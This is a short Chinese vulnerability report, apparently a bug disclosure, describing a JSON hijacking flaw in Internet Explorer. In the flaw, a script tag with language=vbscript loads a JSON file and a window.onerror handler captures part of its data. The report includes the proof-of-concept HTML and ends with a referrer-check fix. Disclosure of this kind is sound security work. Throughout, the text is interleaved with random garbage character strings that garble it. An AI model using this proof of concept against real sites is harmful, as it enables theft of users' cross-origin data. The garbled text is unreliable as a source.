简要描述:0 A6 ]5 K8 D& k" L8 ^
" v4 e9 B* T( Q) Q) _! B5 J由于某些资源容器对数据处理不当导致json劫持漏洞.
0 Q9 Q, t+ s, D% ~5 {( g详细说明:2 g9 m; B3 T5 b5 ~: g3 M$ j. B
由于ie支持vbscript,所以script元素可以指定成vbscript语言:4 T, ]' _; }8 n
<script language=vbscript></script>
) s U5 y* x8 z! E& l ( D3 I* j" g. z8 | D4 b* V
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
, N# u7 ^" }4 Z5 c# y漏洞证明:
4 E6 w8 d9 h# D, i {, ~& N& C8 Y<script>; m; {5 v8 X* P5 `, A2 A8 A
window.onerror=function(_){6 L+ H# t" K7 t2 G( x, m
alert(_)
$ o/ e4 q8 T6 z}
2 z- ?1 O# @" ]1 y/ c* I. J</script>9 `5 Y/ L& M0 o5 ^+ f
<script language=vbscript src=1.json></script>
7 |9 T: r3 z1 g L8 w3 O8 k, z ! |3 D1 [" ~' s8 U6 V$ ^6 l8 ]
7 J1 c6 t: h' v5 v1 {+ F
1.json:
6 K$ {; U5 G" r& _2 c$ _2 e[{"name":"sogili","age":19}]5 D- `6 I2 d' @' [; j# j6 C
修复方案:
" V% f' o7 G# T2 q5 B* W1 P网站业务对于这个问题可以通过验证referrer是否为同源来防御 |